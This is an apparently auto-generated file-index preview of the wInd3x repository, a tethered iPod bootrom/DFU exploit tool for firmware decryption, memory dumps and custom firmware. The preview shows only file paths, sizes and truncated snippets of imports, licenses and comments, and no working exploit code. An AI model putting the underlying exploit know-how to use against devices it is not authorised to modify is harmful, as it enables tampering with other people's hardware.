Condensed preview — 78 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (366K chars).
[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "chars": 461,
    "preview": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: ''\nassignees: q3k\n\n---\n\n**Describe the "
  },
  {
    "path": ".gitignore",
    "chars": 35,
    "preview": "/.idea/\n/wInd3x\nresult\n**swp\n**swo\n"
  },
  {
    "path": "COPYING",
    "chars": 18092,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Fr"
  },
  {
    "path": "README.md",
    "chars": 10104,
    "preview": "<img src=\"logotype.png\">\n\nwInd3x\n======\n\nTethered clickwheel iPod bootrom/DFU exploit tool.\n\nImplements 'wInd3x' exploit"
  },
  {
    "path": "cmd/wInd3x/app.go",
    "chars": 5258,
    "preview": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x"
  },
  {
    "path": "cmd/wInd3x/cmd_cfw.go",
    "chars": 6274,
    "preview": "package main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\t\"slices\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"gith"
  },
  {
    "path": "cmd/wInd3x/cmd_decrypt.go",
    "chars": 1359,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/decrypt\"\n\t\"github.com/freemy"
  },
  {
    "path": "cmd/wInd3x/cmd_download.go",
    "chars": 1146,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/cache\"\n\t\"github.c"
  },
  {
    "path": "cmd/wInd3x/cmd_dump.go",
    "chars": 1350,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/e"
  },
  {
    "path": "cmd/wInd3x/cmd_haxdu.go",
    "chars": 670,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu\"\n)\n\nvar ha"
  },
  {
    "path": "cmd/wInd3x/cmd_makedfu.go",
    "chars": 1406,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t"
  },
  {
    "path": "cmd/wInd3x/cmd_mse.go",
    "chars": 1200,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wIn"
  },
  {
    "path": "cmd/wInd3x/cmd_nand_read.go",
    "chars": 4105,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/"
  },
  {
    "path": "cmd/wInd3x/cmd_nor_read.go",
    "chars": 2600,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"os\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/w"
  },
  {
    "path": "cmd/wInd3x/cmd_restore.go",
    "chars": 4663,
    "preview": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/"
  },
  {
    "path": "cmd/wInd3x/cmd_run.go",
    "chars": 1547,
    "preview": "package main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/"
  },
  {
    "path": "cmd/wInd3x/cmd_spew.go",
    "chars": 12029,
    "preview": "package main\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"gi"
  },
  {
    "path": "cmd/wInd3x/main.go",
    "chars": 2909,
    "preview": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/pf"
  },
  {
    "path": "default.nix",
    "chars": 581,
    "preview": "{ system ? builtins.currentSystem, ... }:\n\nlet\n  nixpkgsCommit = \"8f3e1f807051e32d8c95cd12b9b421623850a34d\";\n  nixpkgsSr"
  },
  {
    "path": "go.mod",
    "chars": 740,
    "preview": "module github.com/freemyipod/wInd3x\n\ngo 1.23.0\n\ntoolchain go1.23.3\n\nrequire (\n\tgithub.com/adrg/xdg v0.4.0\n\tgithub.com/go"
  },
  {
    "path": "go.sum",
    "chars": 3691,
    "preview": "github.com/adrg/xdg v0.4.0 h1:RzRqFcjH4nE5C6oTAxhBtoE2IRyjBSa62SCbyPidvls=\ngithub.com/adrg/xdg v0.4.0/go.mod h1:N6ag73EX"
  },
  {
    "path": "pkg/app/app.go",
    "chars": 1118,
    "preview": "package app\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n)\n"
  },
  {
    "path": "pkg/cache/cache.go",
    "chars": 13156,
    "preview": "package cache\n\nimport (\n\t\"archive/zip\"\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log/slog\"\n\t"
  },
  {
    "path": "pkg/cache/cache_test.go",
    "chars": 1278,
    "preview": "package cache\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipo"
  },
  {
    "path": "pkg/cache/phobos.go",
    "chars": 5086,
    "preview": "package cache\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"sort\"\n\n\t\"howett.net/plist\"\n\n\t\"github.com/freemyipod/wInd3"
  },
  {
    "path": "pkg/cfw/cfw.go",
    "chars": 4541,
    "preview": "package cfw\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/efi\"\n)\n\n// VisitVolume is the main call used t"
  },
  {
    "path": "pkg/cfw/defang_wtf.go",
    "chars": 5446,
    "preview": "package cfw\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log/slog\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/w"
  },
  {
    "path": "pkg/cfw/fixup.go",
    "chars": 2643,
    "preview": "package cfw\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/efi\"\n)\n\n// secoreOffset returns the offset "
  },
  {
    "path": "pkg/devices/devices.go",
    "chars": 2405,
    "preview": "package devices\n\ntype Kind string\n\nconst (\n\tNano3     Kind = \"n3g\"\n\tNano4     Kind = \"n4g\"\n\tNano5     Kind = \"n5g\"\n\tNano"
  },
  {
    "path": "pkg/devices/usb.go",
    "chars": 1187,
    "preview": "package devices\n\nimport (\n\t\"errors\"\n\t\"time\"\n)\n\n// Usb describes a common API to access an iPod (in any state - DFU, WTF,"
  },
  {
    "path": "pkg/dfu/dfu.go",
    "chars": 5883,
    "preview": "package dfu\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"hash/crc32\"\n\t\"io\"\n\t\"log/slog\"\n\t\"time\"\n\n\t\"github.com/freemyipo"
  },
  {
    "path": "pkg/efi/compression/COPYING.edk2.txt",
    "chars": 2609,
    "preview": "Copyright (c) 2004 - 2018, Intel Corporation. All rights reserved.\n\nRedistribution and use in source and binary forms, w"
  },
  {
    "path": "pkg/efi/compression/build.sh",
    "chars": 927,
    "preview": "#! /usr/bin/env nix-shell\n#! nix-shell -i bash -p emscripten\nset -e -x -o pipefail\n\n# Rebuild edk2.wasm from EDK2 source"
  },
  {
    "path": "pkg/efi/compression/compression.go",
    "chars": 251,
    "preview": "package compression\n\ntype TianoCompression interface {\n\t// Decompress using Tiano compression algorithm from EDK2.\n\tDeco"
  },
  {
    "path": "pkg/efi/compression/compression_runtime.go",
    "chars": 395,
    "preview": "//go:build wasm\n\npackage compression\n\ntype RuntimeDispatched struct {\n\tDecompressFn func(in []byte) ([]byte, error)\n\tCom"
  },
  {
    "path": "pkg/efi/compression/compression_test.go",
    "chars": 732,
    "preview": "package compression\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n)\n\nfunc TestLoopback(t *testing.T) {\n\tinput := []byte(\"According to al"
  },
  {
    "path": "pkg/efi/compression/compression_wazero.go",
    "chars": 5498,
    "preview": "//go:build !wasm\n\n// package compression implements EFI compression/decompression routines by\n// calling out into edk2 T"
  },
  {
    "path": "pkg/efi/efi.go",
    "chars": 4462,
    "preview": "// package efi implements support for parsing and reassembling EFI Firmware\n// Volumes, as used in some Apple device fir"
  },
  {
    "path": "pkg/efi/file.go",
    "chars": 3180,
    "preview": "package efi\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"log/slog\"\n)\n\n// FirmwareFileHeader as per EFI standard.\ntype "
  },
  {
    "path": "pkg/efi/sections.go",
    "chars": 11760,
    "preview": "package efi\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"hash/crc32\"\n\t\"io\"\n\t\"log/slog\"\n\n\t\"github.com/f"
  },
  {
    "path": "pkg/efi/volume.go",
    "chars": 6120,
    "preview": "package efi\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n)\n\n// FirmwareVolumeHeader as"
  },
  {
    "path": "pkg/exploit/decrypt/decrypt.go",
    "chars": 4331,
    "preview": "package decrypt\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"git"
  },
  {
    "path": "pkg/exploit/dumpmem/dumpmem.go",
    "chars": 592,
    "preview": "package dumpmem\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\""
  },
  {
    "path": "pkg/exploit/exploit.go",
    "chars": 4917,
    "preview": "package exploit\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/w"
  },
  {
    "path": "pkg/exploit/haxeddfu/haxeddfu.go",
    "chars": 2108,
    "preview": "package haxeddfu\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"unicode/utf16\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com"
  },
  {
    "path": "pkg/exploit/s5late_n7g.go",
    "chars": 22132,
    "preview": "package exploit\n\n// This implements gsch's s5late exploit for the S5L87xx BootROMs.\n//\n// The vulnerability exploited li"
  },
  {
    "path": "pkg/exploit/wind3x_n3g.go",
    "chars": 10570,
    "preview": "package exploit\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n)"
  },
  {
    "path": "pkg/exploit/wind3x_n45g.go",
    "chars": 6955,
    "preview": "package exploit\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n)"
  },
  {
    "path": "pkg/image/image.go",
    "chars": 3694,
    "preview": "package image\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\n\t\"github.com/freemyipod/wInd3x/p"
  },
  {
    "path": "pkg/mse/modifications.go",
    "chars": 845,
    "preview": "package mse\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/image\"\n)\n\nfunc (m *MSE) "
  },
  {
    "path": "pkg/mse/mse.go",
    "chars": 9101,
    "preview": "// Package mse implements parsing and unparsing of 'MSE' firmware bundle files,\n// as seen in iPod firmware IPSWs.\n//\n//"
  },
  {
    "path": "pkg/syscfg/syscfg.go",
    "chars": 2527,
    "preview": "package syscfg\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n)\n\ntype Header struct {\n\tTag    Tag\n\tS"
  },
  {
    "path": "pkg/uasm/insns.go",
    "chars": 4289,
    "preview": "package uasm\n\ntype Ldr struct {\n\tinstruction\n\tDest Register\n\tSrc  LoadSource\n}\n\nfunc (l Ldr) hydrate(c *ctx) []byte {\n\tv"
  },
  {
    "path": "pkg/uasm/operands.go",
    "chars": 2090,
    "preview": "package uasm\n\n// DataSource is an operand which can be a source of data to a non-memory\n// operation.\ntype DataSource in"
  },
  {
    "path": "pkg/uasm/uasm.go",
    "chars": 3940,
    "preview": "// package uasm implements a boneless pseudo assembler and linker for ARMv6.\n// It's used to generate payloads for wInd3"
  },
  {
    "path": "pkg/uasm/uasm_test.go",
    "chars": 1114,
    "preview": "package uasm\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n)\n\nfunc TestSample(t *testing.T) {\n\tp := Program{\n\t\tAddress: "
  },
  {
    "path": "pkg/usbms/ipod.go",
    "chars": 4401,
    "preview": "package usbms\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\n\t\"howett.net/plist\"\n)\n\ntype DeviceInformation struct {\n\tUpda"
  },
  {
    "path": "pkg/usbms/scsi.go",
    "chars": 4212,
    "preview": "package usbms\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n)\n\n// The following is borrowed from\n// https://github.com/monogon-dev/"
  },
  {
    "path": "pkg/usbms/usbms.go",
    "chars": 3606,
    "preview": "package usbms\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n)\n\ntype CBW stru"
  },
  {
    "path": "web/.gitignore",
    "chars": 38,
    "preview": "dist\ncheck.log\nnode_modules\nserver.elf"
  },
  {
    "path": "web/COPYING",
    "chars": 34523,
    "preview": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C)"
  },
  {
    "path": "web/Makefile",
    "chars": 1126,
    "preview": "TSC ?= tsgo\n\ndefault: run\n\nserver.elf: server/main.go\n\tgo build -o $@ ./server\n\ndist/wiwali.wasm:\n\t@mkdir -p dist\n\tGOOS="
  },
  {
    "path": "web/README.md",
    "chars": 880,
    "preview": "nugget.zone\n===========\n\nAlpha-stage web interface to wInd3x.\n\nArchitecture\n------------\n\nwInd3x is exported as `wiwali`"
  },
  {
    "path": "web/index.html",
    "chars": 505,
    "preview": "<!DOCTYPE html>\n<head>\n    <meta charset=\"utf-8\">\n    <title>nugget.zone - alpha 1</title>\n    <link rel=\"icon\" type=\"im"
  },
  {
    "path": "web/package.json",
    "chars": 326,
    "preview": "{\n  \"name\": \"nuggetzone\",\n  \"version\": \"1.0-rc1\",\n  \"main\": \"src/main.ts\",\n  \"author\": \"q3k & freemyipod crew\",\n  \"licen"
  },
  {
    "path": "web/server/README.md",
    "chars": 106,
    "preview": "Dev backend server for nugget.zone. Serves dist/ and proxies downloads from Apple CDN (for CORS reasons).\n"
  },
  {
    "path": "web/server/main.go",
    "chars": 642,
    "preview": "package main\n\nimport (\n\t\"flag\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"net/url\"\n)\n\nvar (\n\tflagRoot   string\n\tflagListe"
  },
  {
    "path": "web/shell.nix",
    "chars": 487,
    "preview": "with import <nixpkgs> {};\n\nlet\n  tsgo = pkgs.buildGoModule {\n    name = \"tsgo-2025-03-05\";\n    src = pkgs.fetchFromGitHu"
  },
  {
    "path": "web/src/components.ts",
    "chars": 25828,
    "preview": "import {html, css, LitElement, PropertyValues} from 'lit';\nimport {Task, TaskStatus} from '@lit/task';\nimport {customEle"
  },
  {
    "path": "web/src/edk2.ts",
    "chars": 3060,
    "preview": "export interface Compression {\n    compress(data: Uint8Array): Uint8Array;\n    decompress(data: Uint8Array): Uint8Array;"
  },
  {
    "path": "web/src/go.ts",
    "chars": 2500,
    "preview": "import { Compression } from \"./edk2.js\";\n\n// Kep in sync with pkg/cache/cache.go PayloadKind\nexport enum PayloadKind {\n\t"
  },
  {
    "path": "web/tsconfig.json",
    "chars": 199,
    "preview": "{\n    \"compilerOptions\": {\n        \"noEmit\": true,\n        \"lib\": [\"es2020\", \"dom\"],\n        \"strict\": true,\n        \"ex"
  },
  {
    "path": "web/wiwali/README.md",
    "chars": 169,
    "preview": "wiwali\n======\n\nThe wInd3x Wasm Library (or `wiwali` for short).\n\nThis internal API is exposed to Typescript (see go.ts)."
  },
  {
    "path": "web/wiwali/main.go",
    "chars": 7187,
    "preview": "// wiwali is a non-WASI (web-compatible) wasm 'binary' that sends window.wiwali\n// when loaded. This object carries all "
  },
  {
    "path": "web/wiwali/store.go",
    "chars": 4382,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"syscall/js\"\n)\n\n// indexedDBFS is an implementation of pkg/cache.FS that's ba"
  },
  {
    "path": "web/wiwali/usb.go",
    "chars": 3756,
    "preview": "package main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"syscall/js\"\n\t\"time\"\n\t\"unicode/utf16\"\n\n\t\"github.com/freemy"
  }
]

// ... and 2 more files (download for full content)

About this extraction

This page contains the full source code of the freemyipod/wInd3x GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 78 files (328.2 KB), approximately 105.3k tokens, and a symbol index with 553 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!